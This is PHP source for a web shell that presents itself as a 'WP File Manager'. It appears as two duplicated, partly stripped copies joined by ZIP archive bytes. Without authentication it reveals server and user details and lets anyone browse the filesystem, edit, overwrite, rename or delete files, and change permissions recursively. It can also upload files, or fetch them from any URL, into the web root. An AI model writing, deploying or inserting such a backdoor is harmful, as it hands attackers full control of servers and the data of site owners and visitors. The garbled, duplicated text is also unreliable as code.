['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëkl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
